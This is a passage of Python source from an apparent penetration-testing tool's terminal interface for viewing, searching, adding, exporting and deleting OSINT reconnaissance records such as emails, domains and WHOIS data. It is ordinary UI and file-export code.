        type_data.append({
            'id': dtype,
            'idx': global_idx,
            'type': dtype,
            'label': type_label,
            'color': type_color,
            'emoji': emoji,
            'count': len(type_items),
            'sources': num_sources,
            'last_updated': last_updated,
            'top_source': top_source,
            'items': type_items
        })

    # Handle types not in order
    for dtype in by_type:
        if dtype in OSINT_TYPE_ORDER or not by_type[dtype]:
            continue

        global_idx += 1
        type_items = by_type[dtype]
        type_label, type_color, emoji = OSINT_TYPE_ICONS.get(dtype, (dtype.upper(), 'white', '📄'))

        sources = set(item.get('source', 'unknown') for item in type_items)
        source_counts = Counter(item.get('source', 'unknown') for item in type_items)
        timestamps = [item.get('created_at', '') for item in type_items if item.get('created_at')]

        type_data.append({
            'id': dtype,
            'idx': global_idx,
            'type': dtype,
            'label': type_label,
            'color': type_color,
            'emoji': emoji,
            'count': len(type_items),
            'sources': len(sources),
            'last_updated': _format_osint_relative_time(max(timestamps)) if timestamps else "-",
            'top_source': source_counts.most_common(1)[0][0] if source_counts else "-",
            'items': type_items
        })

    return type_data


def _display_osint_table(console, type_data: list, selected_ids: set, page: int,
                         page_size: int, view_all: bool, width: int) -> tuple:
    """Display OSINT types table with pagination and checkboxes.

    Returns: (current_page, total_pages)
    """
    from rich.table import Table

    if not type_data:
        click.echo("  " + click.style("No OSINT data found!", fg='yellow'))
        click.echo()
        return 0, 1

    # Pagination
    total_pages = max(1, (len(type_data) + page_size - 1) // page_size)
    page = min(page, total_pages - 1)

    if view_all:
        page_types = type_data
    else:
        start_idx = page * page_size
        end_idx = min(start_idx + page_size, len(type_data))
        page_types = type_data[start_idx:end_idx]

    # Create Rich table - expand to full width like Intelligence Hub
    table = Table(
        show_header=True,
        header_style="bold cyan",
        box=DesignSystem.TABLE_BOX,
        padding=(0, 1),
        expand=True
    )

    table.add_column("○", width=1, justify="center")  # Checkbox
    table.add_column("#", width=1, justify="right")
    table.add_column("Type", no_wrap=True)  # Flexible width
    table.add_column("Count", width=6, justify="center")
    table.add_column("Sources", width=8, justify="center")
    table.add_column("From", width=14)
    table.add_column("Updated", width=10)

    for t in page_types:
        # Checkbox
        checkbox = '●' if t['id'] in selected_ids else '○'

        # Type with emoji
        type_display = f"{t['emoji']} [{t['color']}]{t['label']}[/{t['color']}]"

        table.add_row(
            checkbox,
            str(t['idx']),
            type_display,
            str(t['count']),
            str(t['sources']),
            f"[dim]{t['top_source']}[/dim]",
            f"[dim]{t['last_updated']}[/dim]"
        )

    console.print(table)

    # Tip line
    click.echo()
    click.echo("  💡 TIP: Press 'i' for interactive mode")
    click.echo()

    return page, total_pages


def _display_osint_menu(width: int, selected_ids: set, view_all: bool, total_pages: int):
    """Display menu for OSINT view."""
    click.echo("─" * width)
    click.echo()

    # Selection info
    if selected_ids:
        click.echo(click.style(f"  Selected: {len(selected_ids)} type(s)", fg='cyan', bold=True))
        click.echo()

    click.echo("  [#] View type details")
    click.echo("  [t] Toggle - Toggle pagination")
    click.echo("  [s] Search")
    click.echo("  [a] Add record")
    click.echo("  [x] Export")
    click.echo("  [?] Help")
    click.echo("  [q] Back")


def _osint_bulk_action_menu(engagement_id: int, type_data: list, selected_ids: set, by_type: dict) -> str:
    """Show inline bulk action menu for selected types."""
    from rich.console import Console
    console = Console()

    selected_types = [t for t in type_data if t['id'] in selected_ids]

    if not selected_types:
        return 'continue'

    total_records = sum(t['count'] for t in selected_types)

    console.print()
    console.print(f"  [bold]Selected: {len(selected_types)} type(s) ({total_records} records)[/bold]")
    console.print("    [v] View first type")
    console.print("    [x] Export selected")
    console.print("    [d] Delete selected")
    console.print("    [c] Clear selection")
    console.print("    [q] Back")

    try:
        action = input("\n  Select option: ").strip().lower()

        if action == 'v' and selected_types:
            dtype = selected_types[0]['id']
            records = by_type.get(dtype, [])
            if records:
                _view_osint_type_records(dtype, records, console)
            return 'continue'
        elif action == 'x':
            # Export selected types
            all_records = []
            for t in selected_types:
                all_records.extend(t['items'])
            if all_records:
                _export_selected_osint(all_records, engagement_id)
            return 'continue'
        elif action == 'd':
            # Delete selected types
            all_records = []
            for t in selected_types:
                all_records.extend(t['items'])
            if all_records:
                _delete_selected_osint(all_records, console)
            return 'refresh'
        elif action == 'c':
            return 'clear'
        else:
            return 'continue'

    except (KeyboardInterrupt, EOFError):
        return 'continue'


def _view_osint_type_records(dtype: str, records: list, console):
    """View all records for a specific OSINT type."""
    type_label, type_color, emoji = OSINT_TYPE_ICONS.get(dtype, (dtype.upper(), 'white', '📄'))

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(f" {emoji} {type_label} RECORDS ({len(records)}) ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")

        # Show records in a table
        from rich.table import Table
        table = Table(
            show_header=True,
            header_style="bold cyan",
            box=DesignSystem.TABLE_BOX,
            padding=(0, 1),
            expand=True
        )

        table.add_column("#", width=4, justify="right")
        table.add_column("Value")
        table.add_column("Source", width=15)
        table.add_column("Target", width=20)
        table.add_column("Collected", width=12)

        for idx, item in enumerate(records, 1):
            value = item.get('value', '-')
            source = item.get('source', '-')
            target = item.get('target') or '-'
            collected = _format_osint_relative_time(item.get('created_at', ''))
            table.add_row(str(idx), value, f"[dim]{source}[/dim]", f"[dim]{target}[/dim]", f"[dim]{collected}[/dim]")

        console.print(table)

        # Menu
        click.echo("\n" + "─" * width)
        click.echo("  [#] View record details")
        click.echo("  [q] Back")

        try:
            choice = click.prompt("\n  Select", type=str, default='q', show_default=False).strip().lower()

            if choice == 'q':
                return

            elif choice.isdigit():
                record_num = int(choice)
                if 1 <= record_num <= len(records):
                    _view_osint_detail(records[record_num - 1], console)
                else:
                    click.echo(click.style(f"  Invalid. Valid: 1-{len(records)}", fg='red'))
                    click.pause()

        except (KeyboardInterrupt, click.Abort):
            return


def _view_osint_detail(record: dict, console):
    """Display full details for a single OSINT record."""
    from datetime import datetime

    DesignSystem.clear_screen()
    width = get_terminal_width()

    click.echo("\n" + "=" * width)
    click.echo(click.style("OSINT RECORD DETAILS", bold=True, fg='cyan'))
    click.echo("=" * width)

    # Type with icon
    data_type = record.get('data_type', 'unknown')
    type_info = OSINT_TYPE_ICONS.get(data_type, (data_type.upper(), 'white', '📄'))
    type_label, type_color, emoji = type_info
    console.print(f"\n  [bold]Type:[/bold] {emoji} [{type_color}]{type_label}[/{type_color}]")

    # Value
    value = record.get('value', '-')
    console.print(f"  [bold]Value:[/bold] {value}")

    # Source
    source = record.get('source', '-')
    console.print(f"  [bold]Source:[/bold] {source}")

    # Timestamp
    created_at = record.get('created_at', '')
    if created_at:
        console.print(f"  [bold]Collected:[/bold] {created_at}")

    # Record ID
    record_id = record.get('id', '-')
    console.print(f"  [bold]Record ID:[/bold] {record_id}")

    # Extra metadata for domain_info
    if data_type == 'domain_info':
        metadata = record.get('metadata', {})
        if isinstance(metadata, str):
            import json
            try:
                metadata = json.loads(metadata)
            except:
                metadata = {}

        if metadata:
            console.print("\n  [bold]WHOIS Data:[/bold]")
            for key, val in metadata.items():
                if val:
                    console.print(f"    {key}: {val}")

    # Actions
    click.echo("\n" + "-" * width)
    click.echo("  [c] Copy value to clipboard")
    click.echo("  [q] Back")

    try:
        action = click.prompt("\n  Select option", type=str, default='q', show_default=False).strip().lower()
        if action == 'c':
            try:
                import pyperclip
                pyperclip.copy(value)
                click.echo(click.style("  ✓ Copied to clipboard", fg='green'))
            except ImportError:
                click.echo(click.style("  ✗ pyperclip not installed", fg='red'))
            except Exception as e:
                click.echo(click.style(f"  ✗ Copy failed: {e}", fg='red'))
            click.pause()
    except (KeyboardInterrupt, click.Abort):
        pass


def _export_selected_osint(records: list, engagement_id: int):
    """Export selected OSINT records to file."""
    import json
    from pathlib import Path
    from datetime import datetime

    if not records:
        click.echo(click.style("  No records to export", fg='yellow'))
        click.pause()
        return

    # Generate filename
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    filename = f"osint_export_{engagement_id}_{timestamp}.json"

    # Get export path
    export_dir = Path.home() / "souleyez_exports"
    export_dir.mkdir(exist_ok=True)
    filepath = export_dir / filename

    try:
        with open(filepath, 'w') as f:
            json.dump(records, f, indent=2, default=str)
        click.echo(click.style(f"  ✓ Exported {len(records)} records to {filepath}", fg='green'))
    except Exception as e:
        click.echo(click.style(f"  ✗ Export failed: {e}", fg='red'))
    click.pause()


def _delete_selected_osint(records: list, console):
    """Delete selected OSINT records."""
    if not records:
        click.echo(click.style("  No records to delete", fg='yellow'))
        click.pause()
        return
    
    # Show confirmation
    click.echo()
    click.echo(click.style(f"  ⚠️  WARNING: Delete {len(records)} OSINT record(s)?", fg='red', bold=True))
    click.echo("  This action cannot be undone!")
    click.echo()
    
    confirm = click.prompt("  Type 'DELETE' to confirm", type=str, default='').strip()
    
    if confirm != 'DELETE':
        click.echo(click.style("  Cancelled", fg='yellow'))
        click.pause()
        return
    
    # Delete records
    from souleyez.storage.osint import OsintManager
    om = OsintManager()
    
    deleted_count = 0
    failed_count = 0
    
    for record in records:
        record_id = record.get('id')
        if record_id and om.delete_osint_data(record_id):
            deleted_count += 1
        else:
            failed_count += 1
    
    # Show result
    click.echo()
    if deleted_count > 0:
        click.echo(click.style(f"  ✓ Deleted {deleted_count} record(s)", fg='green'))
    if failed_count > 0:
        click.echo(click.style(f"  ✗ Failed to delete {failed_count} record(s)", fg='red'))
    click.pause()


def view_osint(engagement_id: int):
    """Display and manage OSINT data - Intelligence Hub style."""
    from rich.console import Console

    om = OsintManager()
    console = Console()

    # State variables
    selected_type_ids = set()
    page = 0
    page_size = 15
    view_all = False

    # Tutorial state
    from souleyez.ui.tutorial_state import get_tutorial_state
    tutorial_state = get_tutorial_state()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()

        # Header
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" OSINT DATA ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Tutorial hint for OSINT view - popup style
        hint = tutorial_state.get_hint_for_osint()
        if hint:
            iw = 85  # inner width (wide enough for hint text)
            def pline(text="", styled=None):
                if styled is None: styled = text
                return click.style("  ║", fg='yellow', bold=True) + "  " + styled + " " * (iw - 2 - len(text)) + click.style("║", fg='yellow', bold=True)
            click.echo()
            click.echo(click.style("  ╔" + "═" * iw + "╗", fg='yellow', bold=True))
            hdr = " TUTORIAL "
            hpad = (iw - len(hdr)) // 2
            click.echo(click.style("  ║", fg='yellow', bold=True) + click.style(" " * hpad + hdr + " " * (iw - hpad - len(hdr)), fg='black', bg='yellow', bold=True) + click.style("║", fg='yellow', bold=True))
            click.echo(click.style("  ╠" + "═" * iw + "╣", fg='yellow', bold=True))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            title = hint.get('title', '')
            click.echo(pline(title, click.style(title, fg='cyan', bold=True)))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            for line in hint.get('hint', '').split('\n'):
                if len(line) > iw - 4: line = line[:iw-7] + "..."
                click.echo(pline(line))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            action = hint.get('action', '')
            if action:
                atxt = f"> {action}"
                click.echo(pline(atxt, click.style(atxt, fg='green', bold=True)))
            click.echo(click.style("  ║", fg='yellow', bold=True) + " " * iw + click.style("║", fg='yellow', bold=True))
            click.echo(click.style("  ╚" + "═" * iw + "╝", fg='yellow', bold=True))
            click.echo()

        # Get all data
        all_data = om.list_osint_data(engagement_id)

        if not all_data:
            click.echo("  " + click.style("No OSINT data found!", fg='yellow'))
            click.echo("  " + click.style("Run theHarvester or add manual OSINT data", dim=True))
            click.echo()
            by_type = {}
            type_data = []
            total_pages = 1
        else:
            # Group by type
            by_type = {}
            for item in all_data:
                dtype = item.get('data_type', 'unknown')
                if dtype not in by_type:
                    by_type[dtype] = []
                by_type[dtype].append(item)

            # Build type data
            type_data = _build_osint_type_data(by_type)

            # Summary line
            num_types = len(type_data)
            total_records = len(all_data)
            page_info = f"Page {page + 1}/{max(1, (num_types + page_size - 1) // page_size)}" if not view_all else "All"

            click.echo(f"📊 SUMMARY")
            click.echo(f"  Types: {num_types}  │  Records: {total_records}  │  {page_info}")
            click.echo()

            # Display table
            page, total_pages = _display_osint_table(
                console, type_data, selected_type_ids, page, page_size, view_all, width
            )

        # Menu
        _display_osint_menu(width, selected_type_ids, view_all, total_pages)

        try:
            choice = input("\n  Select option: ").strip().lower()

            if choice == 'q':
                return

            elif choice == 'i' and type_data:
                # Interactive mode for type selection
                from souleyez.ui.interactive_selector import interactive_select

                type_items = [{
                    'id': t['id'],
                    'type': f"{t['emoji']} {t['label']}",
                    'count': t['count'],
                    'sources': t['sources'],
                    'last_updated': t['last_updated'],
                    'from': t['top_source']
                } for t in type_data]

                columns = [
                    {'name': 'Type', 'width': 14, 'key': 'type'},
                    {'name': 'Count', 'width': 8, 'key': 'count'},
                    {'name': 'Sources', 'width': 8, 'key': 'sources'},
                    {'name': 'Last Updated', 'width': 12, 'key': 'last_updated'},
                    {'name': 'From', 'width': 15, 'key': 'from'},
                ]

                interactive_select(
                    items=type_items,
                    columns=columns,
                    selected_ids=selected_type_ids,
                    get_id=lambda t: t['id'],
                    title='SELECT OSINT TYPES'
                )

                # Show bulk action menu if types selected
                if selected_type_ids:
                    result = _osint_bulk_action_menu(engagement_id, type_data, selected_type_ids, by_type)
                    if result == 'clear':
                        selected_type_ids.clear()
                    elif result == 'refresh':
                        selected_type_ids.clear()
                continue

            elif choice == 't':
                # Toggle pagination
                view_all = not view_all
                if not view_all:
                    page = 0
                continue

            elif choice == 'n' and not view_all and page < total_pages - 1:
                page += 1
                continue

            elif choice == 'p' and not view_all and page > 0:
                page -= 1
                continue

            elif choice == 's':
                # Search OSINT
                search_term = input("  Search term: ").strip()
                if search_term and all_data:
                    matches = [item for item in all_data if search_term.lower() in item.get('value', '').lower()]
                    if matches:
                        console.print(f"\n  [green]Found {len(matches)} matching record(s)[/green]")
                        for i, item in enumerate(matches[:10], 1):
                            dtype = item.get('data_type', 'unknown')
                            type_info = OSINT_TYPE_ICONS.get(dtype, (dtype.upper(), 'white', '📄'))
                            console.print(f"    {i}. {type_info[2]} [{type_info[1]}]{type_info[0]}[/{type_info[1]}] {item.get('value', '-')}")
                        if len(matches) > 10:
                            console.print(f"    [dim]...and {len(matches) - 10} more[/dim]")
                        click.pause()
                    else:
                        click.echo(click.style("  No matches found", fg='yellow'))
                        click.pause()

            elif choice == 'a':
                _add_new_osint_data(engagement_id, om)

            elif choice == 'x':
                _export_osint_data(engagement_id, om)

            elif choice == '?':
                # Help
                DesignSystem.clear_screen()
                click.echo("\n" + "=" * 60)
                click.echo(click.style("OSINT DATA - HELP", bold=True, fg='cyan'))
                click.echo("=" * 60)
                click.echo("\n  [#]  Enter a type number to view all records")
                click.echo("  [i]  Interactive mode - select multiple types")
                click.echo("  [t]  Toggle pagination view")
                click.echo("  [s]  Search across all values")
                click.echo("  [a]  Manually add a new OSINT record")
                click.echo("  [x]  Export OSINT data to file")
                click.echo("  [q]  Return to previous menu")
                click.pause()

            elif choice.isdigit() and type_data:
                # View type records by number
                type_num = int(choice)
                matching = [t for t in type_data if t['idx'] == type_num]
                if matching:
                    dtype = matching[0]['id']
                    records = by_type.get(dtype, [])
                    if records:
                        _view_osint_type_records(dtype, records, console)
                else:
                    max_idx = max(t['idx'] for t in type_data) if type_data else 0
                    click.echo(click.style(f"  Invalid type number. Valid: 1-{max_idx}", fg='red'))
                    click.pause()

        except (KeyboardInterrupt, EOFError):
            return


def _view_osint_type_details(engagement_id: int, om: 'OsintManager', by_type: dict):
    """View all records for a specific OSINT type."""
    from rich.console import Console
    from rich.table import Table
    
    console = Console()
    
    if not by_type:
        click.echo(click.style("\n✗ No OSINT data available!", fg='red'))
        click.pause()
        return
    
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("OSINT TYPE DETAILS", bold=True, fg='cyan'))
    click.echo("=" * 70)
    
    # List available types
    types = sorted(by_type.keys())
    console.print("\n[bold]Available Types:[/bold]\n")
    for idx, dtype in enumerate(types, 1):
        count = len(by_type[dtype])
        console.print(f"  [{idx}] [cyan]{dtype}[/cyan] - {count} record(s)")
    
    console.print("\n  [q] Back\n")

    try:
        choice_input = click.prompt("Select type", type=str, default='q').strip()

        if choice_input == 'q':
            return

        try:
            choice = int(choice_input)
        except ValueError:
            return

        if 1 <= choice <= len(types):
            selected_type = types[choice - 1]
            items = by_type[selected_type]
            
            DesignSystem.clear_screen()
            console.print(f"\n[bold cyan]{selected_type.upper()}[/bold cyan] - {len(items)} record(s)\n")
            
            # Show all records in paginated view
            table = Table(show_header=True, header_style="bold magenta", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
            table.add_column("ID", style="dim", width=8)
            
            # Special handling for domain_info
            if selected_type == 'domain_info':
                table.add_column("Domain", style="white", width=30)
                table.add_column("Summary", style="cyan", width=80)

                for item in items:
                    item_id = str(item.get('id', '?'))
                    domain = item.get('value', 'N/A')[:30]
                    summary = item.get('summary', 'No summary')[:80]
                    table.add_row(item_id, domain, summary)
                
                console.print(table)
                
                # Offer to view full details
                console.print("\n[dim]💡 Tip: View full WHOIS details by entering record ID, or q to go back[/dim]")
                try:
                    record_input = click.prompt("\nRecord ID", type=str, default='q').strip()
                    if record_input == 'q':
                        return
                    try:
                        record_id = int(record_input)
                    except ValueError:
                        return
                    if record_id > 0:
                        # Find the record
                        record = next((r for r in items if r.get('id') == record_id), None)
                        if record and record.get('content'):
                            import json
                            DesignSystem.clear_screen()
                            console.print(f"\n[bold]WHOIS Details for {record.get('value', 'N/A')}[/bold]\n")
                            
                            # Parse and display prettified content
                            try:
                                content_data = json.loads(record.get('content', '{}'))
                                
                                # Create formatted WHOIS display
                                console.print("\n" + "─" * 70)
                                console.print(f"[bold cyan]WHOIS Details: {record.get('value', 'N/A')}[/bold cyan]")
                                console.print("─" * 70 + "\n")
                                
                                # Domain Information section
                                if any(k in content_data for k in ['domain', 'registrar', 'creation_date', 'expiration_date']):
                                    console.print("[bold yellow]Domain Information:[/bold yellow]")
                                    if 'domain' in content_data:
                                        console.print(f"  Domain:        {content_data['domain']}")
                                    if 'registrar' in content_data:
                                        console.print(f"  Registrar:     {content_data['registrar']}")
                                    if 'creation_date' in content_data:
                                        console.print(f"  Created:       {content_data['creation_date']}")
                                    if 'expiration_date' in content_data:
                                        console.print(f"  Expires:       {content_data['expiration_date']}")
                                    if 'updated_date' in content_data:
                                        console.print(f"  Updated:       {content_data['updated_date']}")
                                    console.print()
                                
                                # Registrant Information
                                if any(k in content_data for k in ['registrant_name', 'registrant_organization', 'registrant_email']):
                                    console.print("[bold yellow]Registrant Information:[/bold yellow]")
                                    if 'registrant_name' in content_data:
                                        console.print(f"  Name:          {content_data['registrant_name']}")
                                    if 'registrant_organization' in content_data:
                                        console.print(f"  Organization:  {content_data['registrant_organization']}")
                                    if 'registrant_email' in content_data:
                                        console.print(f"  Email:         {content_data['registrant_email']}")
                                    console.print()
                                
                                # Name Servers
                                if 'name_servers' in content_data and content_data['name_servers']:
                                    console.print("[bold yellow]Name Servers:[/bold yellow]")
                                    ns_list = content_data['name_servers']
                                    if isinstance(ns_list, list):
                                        for ns in ns_list[:5]:  # Show first 5
                                            console.print(f"  • {ns}")
                                    else:
                                        console.print(f"  • {ns_list}")
                                    console.print()
                                
                                # Status
                                if 'status' in content_data:
                                    console.print("[bold yellow]Status:[/bold yellow]")
                                    status_list = content_data['status']
                                    if isinstance(status_list, list):
                                        for status in status_list[:5]:  # Show first 5
                                            console.print(f"  • {status}")
                                    else:
                                        console.print(f"  • {status_list}")
                                    console.print()
                                
                                # Show any other fields not covered above
                                displayed_keys = {'domain', 'registrar', 'creation_date', 'expiration_date', 'updated_date',
                                                'registrant_name', 'registrant_organization', 'registrant_email',
                                                'name_servers', 'status'}
                                other_keys = set(content_data.keys()) - displayed_keys
                                if other_keys:
                                    console.print("[bold yellow]Additional Information:[/bold yellow]")
                                    for key in sorted(other_keys):
                                        value = content_data[key]
                                        
                                        # Format dates dictionary
                                        if key == 'dates' and isinstance(value, dict):
                                            console.print("\n[bold]Dates:[/bold]")
                                            if 'created' in value:
                                                console.print(f"  Created:       {value['created']}")
                                            if 'expires' in value:
                                                console.print(f"  Expires:       {value['expires']}")
                                            if 'updated' in value:
                                                console.print(f"  Updated:       {value['updated']}")
                                        
                                        # Format nameservers list
                                        elif key == 'nameservers' and isinstance(value, list):
                                            console.print("\n[bold]Nameservers:[/bold]")
                                            for ns in value[:5]:
                                                console.print(f"  • {ns}")
                                            if len(value) > 5:
                                                console.print(f"  (and {len(value) - 5} more...)")
                                        
                                        # Format registrant dict
                                        elif key == 'registrant' and isinstance(value, dict):
                                            console.print("\n[bold]Registrant:[/bold]")
                                            if value.get('organization') and value['organization'] != 'REDACTED FOR PRIVACY':
                                                console.print(f"  Organization:  {value['organization']}")
                                            if value.get('name') and value['name'] != 'REDACTED FOR PRIVACY':
                                                console.print(f"  Name:          {value['name']}")
                                            if value.get('email') or value.get('phone'):
                                                console.print(f"  Contact:       REDACTED FOR PRIVACY")
                                        
                                        # Skip empty dicts and DNSSEC if unsigned
                                        elif isinstance(value, dict) and not value:
                                            pass  # Skip empty dicts
                                        elif key == 'dnssec' and value == 'unsigned':
                                            pass  # Skip unsigned DNSSEC
                                        
                                        # Format other lists/dicts cleanly
                                        elif isinstance(value, list):
                                            console.print(f"\n[bold]{key.replace('_', ' ').title()}:[/bold]")
                                            for item in value[:5]:
                                                console.print(f"  • {item}")
                                            if len(value) > 5:
                                                console.print(f"  (and {len(value) - 5} more...)")
                                        
                                        # Show other values normally
                                        elif not isinstance(value, dict):
                                            console.print(f"  {key.replace('_', ' ').title()}: {value}")
                                
                            except:
                                console.print(record.get('content', 'No content'))
                            
                            click.pause()
                except (KeyboardInterrupt, click.Abort):
                    pass
            else:
                table.add_column("Value", style="white", width=50)
                table.add_column("Source", style="yellow", width=20)
                
                for item in items:
                    item_id = str(item.get('id', '?'))
                    value = item.get('value', 'N/A')
                    source = item.get('source', 'unknown')[:20]
                    
                    # Highlight URLs with paths/parameters (endpoints)
                    if selected_type == 'url':
                        from urllib.parse import urlparse
                        try:
                            parsed = urlparse(value)
                            has_endpoint = bool(parsed.path and parsed.path != '/') or parsed.query or parsed.fragment
                            if has_endpoint:
                                # Highlight endpoint URLs in bold red
                                value_display = f"[bold red]{value[:50]}[/bold red]"
                            else:
                                # Regular URLs in white
                                value_display = value[:50]
                        except Exception:
                            value_display = value[:50]
                    else:
                        value_display = value[:50]
                    
                    table.add_row(item_id, value_display, source)
                
                console.print(table)
                click.pause()
        else:
            click.echo(click.style("Invalid selection!", fg='red'))
            click.pause()
    
    except (KeyboardInterrupt, click.Abort):
        return


def _export_osint_data(engagement_id: int, om: 'OsintManager'):
    """Export OSINT data to file."""
    from datetime import datetime
    
    all_data = om.list_osint_data(engagement_id)
    
    if not all_data:
        click.echo(click.style("\n✗ No OSINT data to export!", fg='red'))
        click.pause()
        return
    
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("EXPORT OSINT DATA", bold=True, fg='cyan'))
    click.echo("=" * 70 + "\n")
    
    click.echo("  [1] Export All Data")
    click.echo("  [2] Export by Type")
    click.echo("  [3] Export to JSON")
    click.echo("\n  [q] Cancel\n")
    
    try:
        choice = click.prompt("Select option", type=int, default=1, show_default=False)
        
        if choice == 0:
            return
        elif choice == 1:
            _export_all_osint_data(engagement_id, om, all_data)
        elif choice == 2:
            _export_osint_by_type(engagement_id, om, all_data)
        elif choice == 3:
            _export_osint_json(engagement_id, om, all_data)
        else:
            click.echo(click.style("Invalid selection!", fg='red'))
            click.pause()
    
    except (KeyboardInterrupt, click.Abort):
        return


def _export_all_osint_data(engagement_id: int, om: 'OsintManager', all_data: list):
    """Export all OSINT data to text file."""
    from datetime import datetime
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    default_filename = f"osint_all_{engagement_id}_{timestamp}.txt"
    
    filepath = click.prompt("Export to file", default=default_filename, type=str)
    
    try:
        # Group by type
        by_type = {}
        for item in all_data:
            dtype = item.get('data_type', 'unknown')
            if dtype not in by_type:
                by_type[dtype] = []
            by_type[dtype].append(item)
        
        with open(filepath, 'w') as f:
            f.write(f"OSINT Data Export\n")
            f.write(f"Engagement ID: {engagement_id}\n")
            f.write(f"Export Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"\nTotal Records: {len(all_data)} across {len(by_type)} type(s)\n")
            f.write("=" * 60 + "\n\n")
            
            for dtype in sorted(by_type.keys()):
                items = by_type[dtype]
                f.write(f"{dtype.upper()} ({len(items)} records)\n")
                f.write("-" * 60 + "\n")
                
                for item in items:
                    value = item.get('value', 'N/A')
                    source = item.get('source', 'unknown')
                    f.write(f"  • {value} (source: {source})\n")
                
                f.write("\n")
        
        click.echo()
        click.echo(click.style(f"✓ Exported {len(all_data)} record(s) to:", fg='green'))
        click.echo(f"  {filepath}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def _export_osint_by_type(engagement_id: int, om: 'OsintManager', all_data: list):
    """Export OSINT data grouped by type to separate files."""
    from datetime import datetime
    
    # Group by type
    by_type = {}
    for item in all_data:
        dtype = item.get('data_type', 'unknown')
        if dtype not in by_type:
            by_type[dtype] = []
        by_type[dtype].append(item)
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    
    try:
        exported_files = []
        for dtype in by_type.keys():
            filename = f"osint_{dtype}_{engagement_id}_{timestamp}.txt"
            items = by_type[dtype]
            
            with open(filename, 'w') as f:
                f.write(f"OSINT Data Export - {dtype.upper()}\n")
                f.write(f"Engagement ID: {engagement_id}\n")
                f.write(f"Export Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"\nTotal Records: {len(items)}\n")
                f.write("=" * 60 + "\n\n")
                
                for item in items:
                    value = item.get('value', 'N/A')
                    source = item.get('source', 'unknown')
                    f.write(f"{value} (source: {source})\n")
            
            exported_files.append(filename)
        
        click.echo()
        click.echo(click.style(f"✓ Exported {len(by_type)} file(s):", fg='green'))
        for fn in exported_files:
            click.echo(f"  • {fn}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def _export_osint_json(engagement_id: int, om: 'OsintManager', all_data: list):
    """Export OSINT data to JSON format."""
    import json
    from datetime import datetime
    
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    default_filename = f"osint_data_{engagement_id}_{timestamp}.json"
    
    filepath = click.prompt("Export to file", default=default_filename, type=str)
    
    try:
        export_data = {
            'engagement_id': engagement_id,
            'export_date': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
            'total_records': len(all_data),
            'records': all_data
        }
        
        with open(filepath, 'w') as f:
            json.dump(export_data, f, indent=2)
        
        click.echo()
        click.echo(click.style(f"✓ Exported {len(all_data)} record(s) to:", fg='green'))
        click.echo(f"  {filepath}")
        click.pause()
        
    except Exception as e:
        click.echo()
        click.echo(click.style(f"✗ Error exporting: {e}", fg='red'))
        click.pause()


def _filter_osint_by_type(engagement_id: int, om: 'OsintManager'):
    """Prompt for OSINT data type filter."""
    all_data = om.list_osint_data(engagement_id)
    types = sorted(set([item.get('data_type') for item in all_data if item.get('data_type')]))

    if not types:
        click.echo(click.style("\nNo data types found.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nAvailable types:")
    click.echo("  [q] Clear filter")
    for idx, dtype in enumerate(types, 1):
        click.echo(f"  [{idx}] {dtype}")

    try:
        choice_input = click.prompt("Select type", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(types):
                return types[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _add_new_osint_data(engagement_id: int, om: 'OsintManager'):
    """Add new OSINT data manually."""
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 80)
    click.echo("ADD NEW OSINT DATA")
    click.echo("=" * 80 + "\n")

    try:
        # Data type
        click.echo("Common types: email, domain, subdomain, username, ip, phone, leak")
        data_type = click.prompt("\nData Type", type=str)

        # Value
        value = click.prompt("Value (e.g., user@example.com, example.com)", type=str)

        # Source
        source = click.prompt("Source (e.g., theHarvester, manual, leak-site)", type=str, default="manual")

        # Additional info (optional)
        additional_info = click.prompt("Additional Info (press Enter to skip)", type=str, default="")

        # Confirmation
        click.echo("\n" + "-" * 80)
        click.echo(click.style("SUMMARY:", bold=True))
        click.echo(f"Type: {data_type}")
        click.echo(f"Value: {value}")
        click.echo(f"Source: {source}")
        click.echo(f"Additional Info: {additional_info or 'N/A'}")
        click.echo("-" * 80)

        if not click.confirm("\nAdd this OSINT data?", default=True):
            click.echo(click.style("Cancelled.", fg='yellow'))
            click.pause()
            return

        # Add to database
        osint_id = om.add_osint_data(
            engagement_id=engagement_id,
            data_type=data_type,
            value=value,
            source=source,
            additional_info=additional_info or None
        )

        click.echo(click.style(f"\n✓ OSINT data added successfully! (ID: {osint_id})", fg='green'))
        click.pause()

    except (KeyboardInterrupt, click.Abort):
        click.echo(click.style("\nCancelled.", fg='yellow'))
        click.pause()


def _delete_osint_data(engagement_id: int, om: 'OsintManager'):
    """Delete OSINT data using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    # Get all OSINT data
